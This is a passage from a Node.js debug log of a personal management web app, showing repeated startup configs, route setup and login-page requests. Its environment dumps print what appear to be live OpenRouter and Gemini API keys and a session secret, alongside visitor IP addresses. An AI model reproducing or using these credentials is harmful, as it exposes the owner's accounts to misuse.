    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    'accept-encoding': 'gzip',
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Python-urllib/3.12',
    xxxxxxxxxx: 'close',
    'x-forwarded-for': '18.223.120.62',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-23T00:57:05.336Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '18.223.120.62',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Python-urllib/3.12',
    HTTP_XXXXXXXXXX: 'close',
    'HTTP_X_FORWARDED-FOR': '18.223.120.62',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-22T16:13:59.595Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-04-22T16:14:01.868Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-04-22T16:14:02.729Z server-connect:setup:upload Upload middleware configured.
2026-04-22T16:14:02.729Z server-connect:secure CSRF Protection initialized
2026-04-22T16:14:02.734Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-04-22T16:14:02.735Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-04-22T16:14:02.742Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-04-22T16:14:02.743Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-04-22T16:14:02.750Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-04-22T16:14:02.751Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-04-22T16:14:02.764Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-04-22T16:14:02.778Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-04-22T16:14:02.783Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-04-22T16:14:02.783Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-04-22T16:14:02.786Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-04-22T16:14:02.791Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-04-22T16:14:02.796Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-04-22T16:14:02.806Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-04-22T16:14:02.810Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-04-22T16:14:02.880Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-04-22T16:14:02.882Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-04-22T16:14:02.885Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-04-22T16:14:02.891Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-04-22T16:14:02.896Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-04-22T16:14:02.898Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-04-22T16:14:02.905Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-04-22T16:14:02.906Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-04-22T16:14:02.912Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-04-22T16:14:02.915Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-04-22T16:14:02.920Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-04-22T16:14:02.920Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-04-22T16:14:02.924Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-04-22T16:14:02.930Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-04-22T16:14:02.930Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-04-22T16:14:02.932Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-04-22T16:14:02.935Z server-connect:setup:routes Api route /api/test(.json)? created
2026-04-22T16:14:02.940Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-04-22T16:14:02.940Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-04-22T16:14:02.945Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-04-22T16:14:02.950Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-04-22T16:14:02.951Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-04-22T16:14:02.961Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-04-22T16:14:03.450Z server-connect:router Serving templateView /
2026-04-22T16:14:03.452Z server-connect:app Executing action step identify
2026-04-22T16:14:03.453Z server-connect:app options: { provider: 'security' }
2026-04-22T16:14:03.455Z server-connect:auth No login cookie found
2026-04-22T16:14:03.455Z server-connect:output identity: false
2026-04-22T16:14:03.455Z server-connect:app Executing action step restrict
2026-04-22T16:14:03.455Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-22T16:14:03.459Z server-connect:output restrict: undefined
2026-04-22T16:22:46.443Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-04-22T16:22:46.592Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-04-22T16:22:46.683Z server-connect:setup:upload Upload middleware configured.
2026-04-22T16:22:46.683Z server-connect:secure CSRF Protection initialized
2026-04-22T16:22:46.685Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-04-22T16:22:46.687Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-04-22T16:22:46.688Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-04-22T16:22:46.688Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-04-22T16:22:46.689Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-04-22T16:22:46.689Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-04-22T16:22:46.690Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-04-22T16:22:46.691Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-04-22T16:22:46.691Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-04-22T16:22:46.692Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-04-22T16:22:46.720Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-04-22T16:22:46.721Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-04-22T16:22:46.721Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-04-22T16:22:46.722Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-04-22T16:22:46.722Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-04-22T16:22:46.722Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-04-22T16:22:46.723Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-04-22T16:22:46.723Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-04-22T16:22:46.723Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-04-22T16:22:46.724Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-04-22T16:22:46.724Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-04-22T16:22:46.724Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-04-22T16:22:46.725Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-04-22T16:22:46.725Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-04-22T16:22:46.725Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-04-22T16:22:46.725Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-04-22T16:22:46.726Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-04-22T16:22:46.726Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-04-22T16:22:46.726Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-04-22T16:22:46.726Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-04-22T16:22:46.726Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-04-22T16:22:46.727Z server-connect:setup:routes Api route /api/test(.json)? created
2026-04-22T16:22:46.727Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-04-22T16:22:46.727Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-04-22T16:22:46.727Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-04-22T16:22:46.728Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-04-22T16:22:46.728Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-04-22T16:22:46.728Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-04-22T16:22:47.439Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-04-22T16:22:47.587Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-04-22T16:22:47.677Z server-connect:setup:upload Upload middleware configured.
2026-04-22T16:22:47.678Z server-connect:secure CSRF Protection initialized
2026-04-22T16:22:47.679Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-04-22T16:22:47.681Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-04-22T16:22:47.681Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-04-22T16:22:47.682Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-04-22T16:22:47.682Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-04-22T16:22:47.683Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-04-22T16:22:47.684Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-04-22T16:22:47.685Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-04-22T16:22:47.687Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-04-22T16:22:47.687Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-04-22T16:22:47.688Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-04-22T16:22:47.688Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-04-22T16:22:47.688Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-04-22T16:22:47.718Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-04-22T16:22:47.718Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-04-22T16:22:47.719Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-04-22T16:22:47.719Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-04-22T16:22:47.719Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-04-22T16:22:47.720Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-04-22T16:22:47.720Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-04-22T16:22:47.720Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-04-22T16:22:47.721Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-04-22T16:22:47.721Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-04-22T16:22:47.721Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-04-22T16:22:47.721Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-04-22T16:22:47.722Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-04-22T16:22:47.722Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-04-22T16:22:47.722Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-04-22T16:22:47.722Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-04-22T16:22:47.723Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-04-22T16:22:47.723Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-04-22T16:22:47.723Z server-connect:setup:routes Api route /api/test(.json)? created
2026-04-22T16:22:47.723Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-04-22T16:22:47.723Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-04-22T16:22:47.723Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-04-22T16:22:47.724Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-04-22T16:22:47.724Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-04-22T16:22:47.724Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-04-23T06:18:11.020Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-04-23T06:18:12.213Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-04-23T06:18:13.291Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-04-23T06:18:14.154Z server-connect:setup:upload Upload middleware configured.
2026-04-23T06:18:14.154Z server-connect:secure CSRF Protection initialized
2026-04-23T06:18:14.160Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-04-23T06:18:14.162Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-04-23T06:18:14.163Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-04-23T06:18:14.165Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-04-23T06:18:14.174Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-04-23T06:18:14.175Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-04-23T06:18:14.189Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-04-23T06:18:14.203Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-04-23T06:18:14.206Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-04-23T06:18:14.209Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-04-23T06:18:14.209Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-04-23T06:18:14.215Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-04-23T06:18:14.221Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-04-23T06:18:14.230Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-04-23T06:18:14.233Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-04-23T06:18:14.243Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-04-23T06:18:14.243Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-04-23T06:18:14.249Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-04-23T06:18:14.253Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-04-23T06:18:14.258Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-04-23T06:18:14.258Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-04-23T06:18:14.267Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-04-23T06:18:14.270Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-04-23T06:18:14.276Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-04-23T06:18:14.276Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-04-23T06:18:14.281Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-04-23T06:18:14.283Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-04-23T06:18:14.285Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-04-23T06:18:14.291Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-04-23T06:18:14.293Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-04-23T06:18:14.295Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-04-23T06:18:14.297Z server-connect:setup:routes Api route /api/test(.json)? created
2026-04-23T06:18:14.300Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-04-23T06:18:14.302Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-04-23T06:18:14.308Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-04-23T06:18:14.312Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-04-23T06:18:14.314Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-04-23T06:18:14.326Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-04-23T06:18:14.815Z server-connect:router Serving templateView /
2026-04-23T06:18:14.818Z server-connect:app Executing action step identify
2026-04-23T06:18:14.818Z server-connect:app options: { provider: 'security' }
2026-04-23T06:18:14.820Z server-connect:auth No login cookie found
2026-04-23T06:18:14.820Z server-connect:output identity: false
2026-04-23T06:18:14.820Z server-connect:app Executing action step restrict
2026-04-23T06:18:14.821Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-23T06:18:14.824Z server-connect:output restrict: undefined
2026-04-23T06:18:15.169Z server-connect:router Serving templateView /
2026-04-23T06:18:15.169Z server-connect:app Executing action step identify
2026-04-23T06:18:15.169Z server-connect:app options: { provider: 'security' }
2026-04-23T06:18:15.169Z server-connect:auth No login cookie found
2026-04-23T06:18:15.169Z server-connect:output identity: false
2026-04-23T06:18:15.169Z server-connect:app Executing action step restrict
2026-04-23T06:18:15.170Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-23T06:18:15.170Z server-connect:output restrict: undefined
2026-04-23T06:18:15.357Z server-connect:router Serving templateView /login
2026-04-23T06:18:15.357Z server-connect:app Executing action step identify
2026-04-23T06:18:15.357Z server-connect:app options: { provider: 'security' }
2026-04-23T06:18:15.357Z server-connect:auth No login cookie found
2026-04-23T06:18:15.357Z server-connect:output identity: false
2026-04-23T06:18:15.357Z server-connect:router Render template layouts/authentication
2026-04-23T06:18:15.358Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15',
    'accept-charset': 'utf-8',
    referer: 'https://ems.sanjaychaurasia.xyz',
    'accept-encoding': 'gzip',
    xxxxxxxxxx: 'close',
    'x-forwarded-for': '75.119.156.44',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-24T06:18:15.356Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '75.119.156.44',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15',
    HTTP_ACCEPT_CHARSET: 'utf-8',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_XXXXXXXXXX: 'close',
    'HTTP_X_FORWARDED-FOR': '75.119.156.44',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-23T06:19:04.887Z server-connect:router Serving templateView /
2026-04-23T06:19:04.887Z server-connect:app Executing action step identify
2026-04-23T06:19:04.887Z server-connect:app options: { provider: 'security' }
2026-04-23T06:19:04.888Z server-connect:auth No login cookie found
2026-04-23T06:19:04.888Z server-connect:output identity: false
2026-04-23T06:19:04.888Z server-connect:app Executing action step restrict
2026-04-23T06:19:04.888Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-23T06:19:04.888Z server-connect:output restrict: undefined
2026-04-23T06:19:05.086Z server-connect:router Serving templateView /login
2026-04-23T06:19:05.086Z server-connect:app Executing action step identify
2026-04-23T06:19:05.086Z server-connect:app options: { provider: 'security' }
2026-04-23T06:19:05.087Z server-connect:auth No login cookie found
2026-04-23T06:19:05.087Z server-connect:output identity: false
2026-04-23T06:19:05.087Z server-connect:router Render template layouts/authentication
2026-04-23T06:19:05.087Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
